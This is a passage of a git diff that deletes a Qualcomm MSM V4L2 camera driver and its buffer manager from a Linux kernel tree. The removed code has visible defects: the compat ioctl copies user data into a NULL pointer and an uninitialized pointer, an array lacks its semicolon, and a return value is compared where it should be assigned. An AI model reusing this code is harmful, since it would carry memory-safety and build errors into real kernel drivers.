((!session) || !(&session->command_ack_q)) - return; - - mutex_lock(&session->lock); - /* to ensure error handling purpose, it needs to detach all subdevs - * which are being connected to streams */ - msm_queue_traverse_action(&session->command_ack_q, - struct msm_command_ack, list, - __msm_remove_session_cmd_ack_q, NULL); - - msm_queue_drain(&session->command_ack_q, struct msm_command_ack, list); - - mutex_unlock(&session->lock); -} - -int msm_destroy_session(unsigned int session_id) -{ - struct msm_session *session; - struct v4l2_subdev *buf_mgr_subdev; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return -EINVAL; - - msm_destroy_session_streams(session); - msm_remove_session_cmd_ack_q(session); - mutex_destroy(&session->lock); - msm_delete_entry(msm_session_q, struct msm_session, - list, session); - buf_mgr_subdev = msm_buf_mngr_get_subdev(); - if (buf_mgr_subdev) { - v4l2_subdev_call(buf_mgr_subdev, core, ioctl, - MSM_SD_SHUTDOWN, NULL); - } else { - pr_err("%s: Buff manger device node is NULL\n", __func__); - } - - return 0; -} - -static int __msm_close_destry_session_notify_apps(void *d1, void *d2) -{ - struct v4l2_event event; - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event.u.data[0]; - struct msm_session *session = d1; - - event.type = MSM_CAMERA_V4L2_EVENT_TYPE; - event.id = MSM_CAMERA_MSM_NOTIFY; - event_data->command = MSM_CAMERA_PRIV_SHUTDOWN; - - v4l2_event_queue(session->event_q.vdev, &event); - - return 0; -} - -static long msm_private_ioctl(struct file *file, void *fh, - bool valid_prio, unsigned int cmd, void *arg) -{ - int rc = 0; - struct msm_v4l2_event_data *event_data = arg; - struct v4l2_event event; - struct msm_session *session; - unsigned int session_id; - unsigned int stream_id; - unsigned long spin_flags = 0; - - session_id = event_data->session_id; - stream_id = event_data->stream_id; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - - if (!session) - return -EINVAL; - - switch (cmd) { - case MSM_CAM_V4L2_IOCTL_NOTIFY: { - if (WARN_ON(!session->event_q.vdev)) { - rc = -EFAULT; - break; - } - event.type = event_data->v4l2_event_type; - event.id = event_data->v4l2_event_id; - memcpy(&event.u.data, event_data, - sizeof(struct msm_v4l2_event_data)); - v4l2_event_queue(session->event_q.vdev, - &event); - } - break; - - case MSM_CAM_V4L2_IOCTL_CMD_ACK: { - struct msm_command_ack *cmd_ack; - struct msm_command *ret_cmd; - - ret_cmd = kzalloc(sizeof(*ret_cmd), GFP_KERNEL); - if (!ret_cmd) { - rc = -ENOMEM; - break; - } - - cmd_ack = msm_queue_find(&session->command_ack_q, - struct msm_command_ack, list, - __msm_queue_find_command_ack_q, - &stream_id); - if (WARN_ON(!cmd_ack)) { - kzfree(ret_cmd); - rc = -EFAULT; - break; - } - - spin_lock_irqsave(&(session->command_ack_q.lock), - spin_flags); - event.type = event_data->v4l2_event_type; - event.id = event_data->v4l2_event_id; - memcpy(&event.u.data, event_data, - sizeof(struct msm_v4l2_event_data)); - memcpy(&ret_cmd->event, &event, sizeof(struct v4l2_event)); - msm_enqueue(&cmd_ack->command_q, &ret_cmd->list); - complete(&cmd_ack->wait_complete); - spin_unlock_irqrestore(&(session->command_ack_q.lock), - spin_flags); - } - break; - - case MSM_CAM_V4L2_IOCTL_NOTIFY_ERROR: - /* send v4l2_event to HAL next*/ - msm_queue_traverse_action(msm_session_q, - struct msm_session, list, - __msm_close_destry_session_notify_apps, NULL); - break; - - default: - rc = -ENOTTY; - break; - } - - return rc; -} - -static int msm_unsubscribe_event(struct v4l2_fh *fh, - const struct v4l2_event_subscription *sub) -{ - return v4l2_event_unsubscribe(fh, sub); -} - -static int msm_subscribe_event(struct v4l2_fh *fh, - const struct v4l2_event_subscription *sub) -{ - return v4l2_event_subscribe(fh, sub, 5, NULL); -} - -static const struct v4l2_ioctl_ops g_msm_ioctl_ops = { - .vidioc_subscribe_event = msm_subscribe_event, - .vidioc_unsubscribe_event = msm_unsubscribe_event, - .vidioc_default = msm_private_ioctl, -}; - -static unsigned int msm_poll(struct file *f, - struct poll_table_struct *pll_table) -{ - int rc = 0; - struct v4l2_fh *eventq = f->private_data; - - BUG_ON(!eventq); - - poll_wait(f, &eventq->wait, pll_table); - - if (v4l2_event_pending(eventq)) - rc = POLLIN | POLLRDNORM; - - return rc; -} - -static void msm_print_event_error(struct v4l2_event *event) -{ - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event->u.data[0]; - - pr_err("Evt_type=%x Evt_id=%d Evt_cmd=%x\n", event->type, - event->id, event_data->command); - pr_err("Evt_session_id=%d Evt_stream_id=%d Evt_arg=%d\n", - event_data->session_id, event_data->stream_id, - event_data->arg_value); -} - -/* something seriously wrong if msm_close is triggered - * !!! user space imaging server is shutdown !!! - */ -int msm_post_event(struct v4l2_event *event, int timeout) -{ - int rc = 0; - struct video_device *vdev; - struct msm_session *session; - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event->u.data[0]; - struct msm_command_ack *cmd_ack; - struct msm_command *cmd; - int session_id, stream_id; - unsigned long flags = 0; - - session_id = event_data->session_id; - stream_id = event_data->stream_id; - - spin_lock_irqsave(&msm_eventq_lock, flags); - if (!msm_eventq) { - spin_unlock_irqrestore(&msm_eventq_lock, flags); - pr_err("%s : msm event queue not available Line %d\n", - __func__, __LINE__); - return -ENODEV; - } - spin_unlock_irqrestore(&msm_eventq_lock, flags); - - vdev = msm_eventq->vdev; - - /* send to imaging server and wait for ACK */ - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (WARN_ON(!session)) { - pr_err("%s : session not found Line %d\n", - __func__, __LINE__); - return -EIO; - } - mutex_lock(&session->lock); - cmd_ack = msm_queue_find(&session->command_ack_q, - struct msm_command_ack, list, - __msm_queue_find_command_ack_q, &stream_id); - if (WARN_ON(!cmd_ack)) { - mutex_unlock(&session->lock); - pr_err("%s : cmd_ack not found Line %d\n", - __func__, __LINE__); - return -EIO; - } - - /*re-init wait_complete */ - INIT_COMPLETION(cmd_ack->wait_complete); - - v4l2_event_queue(vdev, event); - - if (timeout < 0) { - mutex_unlock(&session->lock); - pr_err("%s : timeout cannot be negative Line %d\n", - __func__, __LINE__); - return rc; - } - - /* should wait on session based condition */ - rc = wait_for_completion_timeout(&cmd_ack->wait_complete, - msecs_to_jiffies(timeout)); - - - if (list_empty_careful(&cmd_ack->command_q.list)) { - if (!rc) { - pr_err("%s: Timed out\n", __func__); - msm_print_event_error(event); - rc = -ETIMEDOUT; - } else { - pr_err("%s: Error: No timeout but list empty!", - __func__); - msm_print_event_error(event); - mutex_unlock(&session->lock); - return -EINVAL; - } - } - - cmd = msm_dequeue(&cmd_ack->command_q, - struct msm_command, list); - if (!cmd) { - mutex_unlock(&session->lock); - pr_err("%s : cmd dequeue failed Line %d\n", - __func__, __LINE__); - return -EINVAL; - } - - event_data = (struct msm_v4l2_event_data *)cmd->event.u.data; - - /* compare cmd_ret and event */ - if (WARN_ON(event->type != cmd->event.type) || - WARN_ON(event->id != cmd->event.id)) { - pr_err("%s : Either event type or id didnot match Line %d\n", - __func__, __LINE__); - pr_err("%s : event->type %d event->id %d\n", __func__, - event->type, event->id); - pr_err("%s : cmd->event.type %d cmd->event.id %d\n", __func__, - cmd->event.type, cmd->event.id); - rc = -EINVAL; - } - - *event = cmd->event; - - kzfree(cmd); - mutex_unlock(&session->lock); - return rc; -} - -static int msm_close(struct file *filep) -{ - int rc = 0; - unsigned long flags; - struct msm_video_device *pvdev = video_drvdata(filep); - struct msm_sd_close_ioctl sd_close; - struct msm_sd_subdev *msm_sd; - - /*stop all hardware blocks immediately*/ - if (!list_empty(&msm_v4l2_dev->subdevs)) - list_for_each_entry(msm_sd, &ordered_sd_list, list) - __msm_sd_close_subdevs(msm_sd, &sd_close); - - /* send v4l2_event to HAL next*/ - msm_queue_traverse_action(msm_session_q, struct msm_session, list, - __msm_close_destry_session_notify_apps, NULL); - - spin_lock_irqsave(&msm_eventq_lock, flags); - msm_eventq = NULL; - spin_unlock_irqrestore(&msm_eventq_lock, flags); - v4l2_fh_release(filep); - - spin_lock_irqsave(&msm_pid_lock, flags); - put_pid(msm_pid); - msm_pid = NULL; - spin_unlock_irqrestore(&msm_pid_lock, flags); - - atomic_set(&pvdev->opened, 0); - - return rc; -} - -static inline void msm_list_switch(struct list_head *l1, - struct list_head *l2) -{ - l1->next = l2->next; - l2->prev = l1->prev; - l1->prev->next = l2; - l2->next->prev = l1; - l1->prev = l2; - l2->next = l1; -} - -static int msm_open(struct file *filep) -{ - int rc; - unsigned long flags; - struct msm_video_device *pvdev = video_drvdata(filep); - BUG_ON(!pvdev); - - /* !!! only ONE open is allowed !!! */ - if (atomic_read(&pvdev->opened)) - return -EBUSY; - - atomic_set(&pvdev->opened, 1); - - spin_lock_irqsave(&msm_pid_lock, flags); - msm_pid = get_pid(task_pid(current)); - spin_unlock_irqrestore(&msm_pid_lock, flags); - - /* create event queue */ - rc = v4l2_fh_open(filep); - if (rc < 0) - return rc; - - spin_lock_irqsave(&msm_eventq_lock, flags); - msm_eventq = filep->private_data; - spin_unlock_irqrestore(&msm_eventq_lock, flags); - - return rc; -} - -static struct v4l2_file_operations msm_fops = { - .owner = THIS_MODULE, - .open = msm_open, - .poll = msm_poll, - .release = msm_close, - .ioctl = video_ioctl2, -#ifdef CONFIG_COMPAT - .compat_ioctl32 = video_ioctl2, -#endif -}; - -struct msm_stream *msm_get_stream(unsigned int session_id, - unsigned int stream_id) -{ - struct msm_session *session; - struct msm_stream *stream; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return ERR_PTR(-EINVAL); - - stream = msm_queue_find(&session->stream_q, struct msm_stream, - list, __msm_queue_find_stream, &stream_id); - - if (!stream) - return ERR_PTR(-EINVAL); - - return stream; -} - -struct vb2_queue *msm_get_stream_vb2q(unsigned int session_id, - unsigned int stream_id) -{ - struct msm_session *session; - struct msm_stream *stream; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return NULL; - - stream = msm_queue_find(&session->stream_q, struct msm_stream, - list, __msm_queue_find_stream, &stream_id); - if (!stream) - return NULL; - - return stream->vb2_q; -} - -struct msm_stream *msm_get_stream_from_vb2q(struct vb2_queue *q) -{ - struct msm_session *session; - struct msm_stream *stream; - unsigned long flags1; - unsigned long flags2; - spin_lock_irqsave(&msm_session_q->lock, flags1); - list_for_each_entry(session, &(msm_session_q->list), list) { - spin_lock_irqsave(&(session->stream_q.lock), flags2); - list_for_each_entry( - stream, &(session->stream_q.list), list) { - if (stream->vb2_q == q) { - spin_unlock_irqrestore - (&(session->stream_q.lock), flags2); - spin_unlock_irqrestore - (&msm_session_q->lock, flags1); - return stream; - } - } - spin_unlock_irqrestore(&(session->stream_q.lock), flags2); - } - spin_unlock_irqrestore(&msm_session_q->lock, flags1); - return NULL; -} - -static struct v4l2_subdev *msm_sd_find(const char *name) -{ - unsigned long flags; - struct v4l2_subdev *subdev = NULL; - struct v4l2_subdev *subdev_out = NULL; - - spin_lock_irqsave(&msm_v4l2_dev->lock, flags); - if (!list_empty(&msm_v4l2_dev->subdevs)) { - list_for_each_entry(subdev, &msm_v4l2_dev->subdevs, list) - if (!strcmp(name, subdev->name)) { - subdev_out = subdev; - break; - } - } - spin_unlock_irqrestore(&msm_v4l2_dev->lock, flags); - - return subdev_out; -} - -static void msm_sd_notify(struct v4l2_subdev *sd, - unsigned int notification, void *arg) -{ - int rc = 0; - struct v4l2_subdev *subdev = NULL; - - BUG_ON(!sd); - BUG_ON(!arg); - - /* Check if subdev exists before processing*/ - if (!msm_sd_find(sd->name)) - return; - - switch (notification) { - case MSM_SD_NOTIFY_GET_SD: { - struct msm_sd_req_sd *get_sd = arg; - - get_sd->subdev = msm_sd_find(get_sd->name); - /* TODO: might need to add ref count on ret_sd */ - } - break; - - case MSM_SD_NOTIFY_PUT_SD: { - struct msm_sd_req_sd *put_sd = arg; - subdev = msm_sd_find(put_sd->name); - } - break; - - case MSM_SD_NOTIFY_REQ_CB: { - struct msm_sd_req_vb2_q *req_sd = arg; - rc = msm_vb2_request_cb(req_sd); - if (rc < 0) - return; - } - break; - - default: - break; - } -} - -static int msm_probe(struct platform_device *pdev) -{ - struct msm_video_device *pvdev; - int rc = 0; - - msm_v4l2_dev = kzalloc(sizeof(*msm_v4l2_dev), - GFP_KERNEL); - if (WARN_ON(!msm_v4l2_dev)) { - rc = -ENOMEM; - goto probe_end; - } - - pvdev = kzalloc(sizeof(struct msm_video_device), - GFP_KERNEL); - if (WARN_ON(!pvdev)) { - rc = -ENOMEM; - goto pvdev_fail; - } - - pvdev->vdev = video_device_alloc(); - if (WARN_ON(!pvdev->vdev)) { - rc = -ENOMEM; - goto video_fail; - } - -#if defined(CONFIG_MEDIA_CONTROLLER) - msm_v4l2_dev->mdev = kzalloc(sizeof(struct media_device), - GFP_KERNEL); - if (!msm_v4l2_dev->mdev) { - rc = -ENOMEM; - goto mdev_fail; - } - strlcpy(msm_v4l2_dev->mdev->model, MSM_CONFIGURATION_NAME, - sizeof(msm_v4l2_dev->mdev->model)); - msm_v4l2_dev->mdev->dev = &(pdev->dev); - - rc = media_device_register(msm_v4l2_dev->mdev); - if (WARN_ON(rc < 0)) - goto media_fail; - - if (WARN_ON((rc == media_entity_init(&pvdev->vdev->entity, - 0, NULL, 0)) < 0)) - goto entity_fail; - - pvdev->vdev->entity.type = MEDIA_ENT_T_DEVNODE_V4L; - pvdev->vdev->entity.group_id = QCAMERA_VNODE_GROUP_ID; -#endif - - msm_v4l2_dev->notify = msm_sd_notify; - - pvdev->vdev->v4l2_dev = msm_v4l2_dev; - - rc = v4l2_device_register(&(pdev->dev), pvdev->vdev->v4l2_dev); - if (WARN_ON(rc < 0)) - goto register_fail; - - strlcpy(pvdev->vdev->name, "msm-config", sizeof(pvdev->vdev->name)); - pvdev->vdev->release = video_device_release; - pvdev->vdev->fops = &msm_fops; - pvdev->vdev->ioctl_ops = &g_msm_ioctl_ops; - pvdev->vdev->minor = -1; - pvdev->vdev->vfl_type = VFL_TYPE_GRABBER; - rc = video_register_device(pvdev->vdev, - VFL_TYPE_GRABBER, -1); - if (WARN_ON(rc < 0)) - goto v4l2_fail; - -#if defined(CONFIG_MEDIA_CONTROLLER) - /* FIXME: How to get rid of this messy? */ - pvdev->vdev->entity.name = video_device_node_name(pvdev->vdev); -#endif - - atomic_set(&pvdev->opened, 0); - video_set_drvdata(pvdev->vdev, pvdev); - - msm_session_q = kzalloc(sizeof(*msm_session_q), GFP_KERNEL); - if (WARN_ON(!msm_session_q)) - goto v4l2_fail; - - msm_init_queue(msm_session_q); - spin_lock_init(&msm_eventq_lock); - spin_lock_init(&msm_pid_lock); - INIT_LIST_HEAD(&ordered_sd_list); - goto probe_end; - -v4l2_fail: - v4l2_device_unregister(pvdev->vdev->v4l2_dev); -register_fail: -#if defined(CONFIG_MEDIA_CONTROLLER) - media_entity_cleanup(&pvdev->vdev->entity); -entity_fail: - media_device_unregister(msm_v4l2_dev->mdev); -media_fail: - kzfree(msm_v4l2_dev->mdev); -mdev_fail: -#endif - video_device_release(pvdev->vdev); -video_fail: - kzfree(pvdev); -pvdev_fail: - kzfree(msm_v4l2_dev); -probe_end: - return rc; -} - -static const struct of_device_id msm_dt_match[] = { - {.compatible = "qcom,msm-cam"}, - {} -} - -MODULE_DEVICE_TABLE(of, msm_dt_match); - -static struct platform_driver msm_driver = { - .probe = msm_probe, - .driver = { - .name = "msm", - .owner = THIS_MODULE, - .of_match_table = msm_dt_match, - }, -}; - -static int __init msm_init(void) -{ - return platform_driver_register(&msm_driver); -} - -static void __exit msm_exit(void) -{ - platform_driver_unregister(&msm_driver); -} - - -module_init(msm_init); -module_exit(msm_exit); -MODULE_DESCRIPTION("MSM V4L2 Camera"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.h b/drivers/media/platform/msm/camera_wt88047_v2/msm.h deleted file mode 100644 index 2b43a36cfd79b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm.h +++ /dev/null @@ -1,120 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef _MSM_H -#define _MSM_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define MSM_POST_EVT_TIMEOUT 5000 -#define MSM_POST_EVT_NOTIMEOUT 0xFFFFFFFF -#define MSM_CAMERA_STREAM_CNT_BITS 32 - -struct msm_video_device { - struct video_device *vdev; - atomic_t opened; -}; - -struct msm_queue_head { - struct list_head list; - spinlock_t lock; - int len; - int max; -}; - -/** msm_event: - * - * event sent by imaging server - **/ -struct msm_event { - struct video_device *vdev; - atomic_t on_heap; -}; - -struct msm_command { - struct list_head list; - struct v4l2_event event; - atomic_t on_heap; -}; - -/** struct msm_command_ack - * - * Object of command_ack_q, which is - * created per open operation - * - * contains struct msm_command - **/ -struct msm_command_ack { - struct list_head list; - struct msm_queue_head command_q; - struct completion wait_complete; - int stream_id; -}; - -struct msm_v4l2_subdev { - /* FIXME: for session close and error handling such - * as daemon shutdown */ - int close_sequence; -}; - -struct msm_session { - struct list_head list; - - /* session index */ - unsigned int session_id; - - /* event queue sent by imaging server */ - struct msm_event event_q; - - /* ACK by imaging server. Object type of - * struct msm_command_ack per open, - * assumption is application can send - * command on every opened video node */ - struct msm_queue_head command_ack_q; - - /* real streams(either data or metadate) owned by one - * session struct msm_stream */ - struct msm_queue_head stream_q; - struct mutex lock; -}; - -int msm_post_event(struct v4l2_event *event, int timeout); -int msm_create_session(unsigned int session, struct video_device *vdev); -int msm_destroy_session(unsigned int session_id); - -int msm_create_stream(unsigned int session_id, - unsigned int stream_id, struct vb2_queue *q); -void msm_delete_stream(unsigned int session_id, unsigned int stream_id); -int msm_create_command_ack_q(unsigned int session_id, unsigned int stream_id); -void msm_delete_command_ack_q(unsigned int session_id, unsigned int stream_id); -struct msm_stream *msm_get_stream(unsigned int session_id, - unsigned int stream_id); -struct vb2_queue *msm_get_stream_vb2q(unsigned int session_id, - unsigned int stream_id); -struct msm_stream *msm_get_stream_from_vb2q(struct vb2_queue *q); -struct msm_session *msm_session_find(unsigned int session_id); -#endif /*_MSM_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile deleted file mode 100644 index 22f591cbc5c55..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile +++ /dev/null @@ -1,2 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -obj-$(CONFIG_MSMB_CAMERA) += msm_generic_buf_mgr.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c deleted file mode 100644 index eb385616d75db..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c +++ /dev/null @@ -1,352 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include "msm_generic_buf_mgr.h" - -static struct msm_buf_mngr_device *msm_buf_mngr_dev; - -struct v4l2_subdev *msm_buf_mngr_get_subdev(void) -{ - return &msm_buf_mngr_dev->subdev.sd; -} - -static int32_t msm_buf_mngr_get_buf(struct msm_buf_mngr_device *buf_mngr_dev, - void __user *argp) -{ - unsigned long flags; - struct msm_buf_mngr_info *buf_info = - (struct msm_buf_mngr_info *)argp; - struct msm_get_bufs *new_entry = - kzalloc(sizeof(struct msm_get_bufs), GFP_KERNEL); - - if (!new_entry) { - pr_err("%s:No mem\n", __func__); - return -ENOMEM; - } - INIT_LIST_HEAD(&new_entry->entry); - new_entry->vb2_buf = buf_mngr_dev->vb2_ops.get_buf(buf_info->session_id, - buf_info->stream_id); - if (!new_entry->vb2_buf) { - pr_debug("%s:Get buf is null\n", __func__); - kfree(new_entry); - return -EINVAL; - } - new_entry->session_id = buf_info->session_id; - new_entry->stream_id = buf_info->stream_id; - spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); - list_add_tail(&new_entry->entry, &buf_mngr_dev->buf_qhead); - spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); - buf_info->index = new_entry->vb2_buf->v4l2_buf.index; - return 0; -} - -static int32_t msm_buf_mngr_buf_done(struct msm_buf_mngr_device *buf_mngr_dev, - struct msm_buf_mngr_info *buf_info) -{ - unsigned long flags; - struct msm_get_bufs *bufs, *save; - int32_t ret = -EINVAL; - - spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); - list_for_each_entry_safe(bufs, save, &buf_mngr_dev->buf_qhead, entry) { - if ((bufs->session_id == buf_info->session_id) && - (bufs->stream_id == buf_info->stream_id) && - (bufs->vb2_buf->v4l2_buf.index == buf_info->index)) { - bufs->vb2_buf->v4l2_buf.sequence = buf_info->frame_id; - bufs->vb2_buf->v4l2_buf.timestamp = buf_info->timestamp; - bufs->vb2_buf->v4l2_buf.reserved = 0; - ret = buf_mngr_dev->vb2_ops.buf_done - (bufs->vb2_buf, - buf_info->session_id, - buf_info->stream_id); - list_del_init(&bufs->entry); - kfree(bufs); - break; - } - } - spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); - return ret; -} - - -static int32_t msm_buf_mngr_put_buf(struct msm_buf_mngr_device *buf_mngr_dev, - struct msm_buf_mngr_info *buf_info) -{ - unsigned long flags; - struct msm_get_bufs *bufs, *save; - int32_t ret = -EINVAL; - - spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); - list_for_each_entry_safe(bufs, save, &buf_mngr_dev->buf_qhead, entry) { - if ((bufs->session_id == buf_info->session_id) && - (bufs->stream_id == buf_info->stream_id) && - (bufs->vb2_buf->v4l2_buf.index == buf_info->index)) { - ret = buf_mngr_dev->vb2_ops.put_buf(bufs->vb2_buf, - buf_info->session_id, buf_info->stream_id); - list_del_init(&bufs->entry); - kfree(bufs); - break; - } - } - spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); - return ret; -} - -static void msm_buf_mngr_sd_shutdown(struct msm_buf_mngr_device *buf_mngr_dev) -{ - unsigned long flags; - struct msm_get_bufs *bufs, *save; - - spin_lock_irqsave(&buf_mngr_dev->buf_q_spinlock, flags); - if (!list_empty(&buf_mngr_dev->buf_qhead)) { - list_for_each_entry_safe(bufs, - save, &buf_mngr_dev->buf_qhead, entry) { - pr_err("%s: Error delete invalid bufs =%x, ses_id=%d, str_id=%d, idx=%d\n", - __func__, (unsigned int)bufs, bufs->session_id, - bufs->stream_id, bufs->vb2_buf->v4l2_buf.index); - list_del_init(&bufs->entry); - kfree(bufs); - } - } - spin_unlock_irqrestore(&buf_mngr_dev->buf_q_spinlock, flags); -} - -static int msm_generic_buf_mngr_open(struct v4l2_subdev *sd, - struct v4l2_subdev_fh *fh) -{ - int rc = 0; - struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); - if (!buf_mngr_dev) { - pr_err("%s buf manager device NULL\n", __func__); - rc = -ENODEV; - return rc; - } - return rc; -} - -static int msm_generic_buf_mngr_close(struct v4l2_subdev *sd, - struct v4l2_subdev_fh *fh) -{ - int rc = 0; - struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); - if (!buf_mngr_dev) { - pr_err("%s buf manager device NULL\n", __func__); - rc = -ENODEV; - return rc; - } - return rc; -} - -static long msm_buf_mngr_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - int32_t rc = 0; - struct msm_buf_mngr_device *buf_mngr_dev = v4l2_get_subdevdata(sd); - void __user *argp = (void __user *)arg; - - if (!buf_mngr_dev) { - pr_err("%s buf manager device NULL\n", __func__); - rc = -ENOMEM; - return rc; - } - - switch (cmd) { - case VIDIOC_MSM_BUF_MNGR_GET_BUF: - rc = msm_buf_mngr_get_buf(buf_mngr_dev, argp); - break; - case VIDIOC_MSM_BUF_MNGR_BUF_DONE: - rc = msm_buf_mngr_buf_done(buf_mngr_dev, argp); - break; - case VIDIOC_MSM_BUF_MNGR_PUT_BUF: - rc = msm_buf_mngr_put_buf(buf_mngr_dev, argp); - break; - case VIDIOC_MSM_BUF_MNGR_INIT: - rc = msm_generic_buf_mngr_open(sd, NULL); - break; - case VIDIOC_MSM_BUF_MNGR_DEINIT: - rc = msm_generic_buf_mngr_close(sd, NULL); - break; - case MSM_SD_SHUTDOWN: - msm_buf_mngr_sd_shutdown(buf_mngr_dev); - break; - default: - return -ENOIOCTLCMD; - } - return rc; -} - -#ifdef CONFIG_COMPAT -static long msm_bmgr_subdev_fops_compat_ioctl(struct file *file, - unsigned int cmd, unsigned long arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - int32_t rc = 0; - - void __user *up = compat_ptr(arg); - - struct msm_buf_mngr_info32_t *buf_info32 = NULL; - struct msm_buf_mngr_info *buf_info; - - if (copy_from_user(buf_info32, (void __user *)up, - sizeof(struct msm_buf_mngr_info32_t))) - return -EFAULT; - - buf_info->session_id = buf_info32->session_id; - buf_info->stream_id = buf_info32->stream_id; - buf_info->frame_id = buf_info32->frame_id; - buf_info->index = buf_info32->index; - buf_info->timestamp.tv_sec = (long) buf_info32->timestamp.tv_sec; - buf_info->timestamp.tv_usec = (long) buf_info32->timestamp.tv_usec; - - /* Convert 32 bit IOCTL ID's to 64 bit IOCTL ID's - * except VIDIOC_MSM_CPP_CFG32, which needs special - * processing - */ - switch (cmd) { - case VIDIOC_MSM_BUF_MNGR_GET_BUF32: - cmd = VIDIOC_MSM_BUF_MNGR_GET_BUF; - break; - case VIDIOC_MSM_BUF_MNGR_BUF_DONE32: - cmd = VIDIOC_MSM_BUF_MNGR_BUF_DONE; - break; - case VIDIOC_MSM_BUF_MNGR_PUT_BUF32: - cmd = VIDIOC_MSM_BUF_MNGR_PUT_BUF; - break; - default: - pr_debug("%s : unsupported compat type", __func__); - break; - } - - switch (cmd) { - case VIDIOC_MSM_BUF_MNGR_GET_BUF: - case VIDIOC_MSM_BUF_MNGR_BUF_DONE: - case VIDIOC_MSM_BUF_MNGR_PUT_BUF: - rc = v4l2_subdev_call(sd, core, ioctl, cmd, buf_info); - break; - default: - pr_debug("%s : unsupported compat type", __func__); - break; - } - - buf_info32->session_id = buf_info->session_id; - buf_info32->stream_id = buf_info->stream_id; - buf_info32->index = buf_info->index; - buf_info32->timestamp.tv_sec = (int32_t) buf_info->timestamp.tv_sec; - buf_info32->timestamp.tv_usec = (int32_t) buf_info->timestamp.tv_usec; - - if (copy_to_user((void __user *)up, buf_info32, - sizeof(struct msm_buf_mngr_info32_t))) - return -EFAULT; - - return 0; -} -#endif - -static struct v4l2_subdev_core_ops msm_buf_mngr_subdev_core_ops = { - .ioctl = msm_buf_mngr_subdev_ioctl, -}; - -static const struct v4l2_subdev_internal_ops - msm_generic_buf_mngr_subdev_internal_ops = { - .open = msm_generic_buf_mngr_open, - .close = msm_generic_buf_mngr_close, -}; - -static const struct v4l2_subdev_ops msm_buf_mngr_subdev_ops = { - .core = &msm_buf_mngr_subdev_core_ops, -}; - -static const struct of_device_id msm_buf_mngr_dt_match[] = { - {.compatible = "qcom,msm_buf_mngr"}, - {} -}; - -static struct v4l2_file_operations msm_buf_v4l2_subdev_fops; - -static long msm_bmgr_subdev_do_ioctl( - struct file *file, unsigned int cmd, void *arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - - return v4l2_subdev_call(sd, core, ioctl, cmd, arg); -} - - -static long msm_buf_subdev_fops_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return video_usercopy(file, cmd, arg, msm_bmgr_subdev_do_ioctl); -} - -static int32_t __init msm_buf_mngr_init(void) -{ - int32_t rc = 0; - msm_buf_mngr_dev = kzalloc(sizeof(*msm_buf_mngr_dev), - GFP_KERNEL); - if (WARN_ON(!msm_buf_mngr_dev)) { - pr_err("%s: not enough memory", __func__); - return -ENOMEM; - } - /* Sub-dev */ - v4l2_subdev_init(&msm_buf_mngr_dev->subdev.sd, - &msm_buf_mngr_subdev_ops); - - msm_buf_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; - msm_buf_v4l2_subdev_fops.open = v4l2_subdev_fops.open; - msm_buf_v4l2_subdev_fops.unlocked_ioctl = msm_buf_subdev_fops_ioctl; - msm_buf_v4l2_subdev_fops.release = v4l2_subdev_fops.release; - msm_buf_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; - -#ifdef CONFIG_COMPAT - msm_buf_v4l2_subdev_fops.compat_ioctl32 = - msm_bmgr_subdev_fops_compat_ioctl; -#endif - snprintf(msm_buf_mngr_dev->subdev.sd.name, - 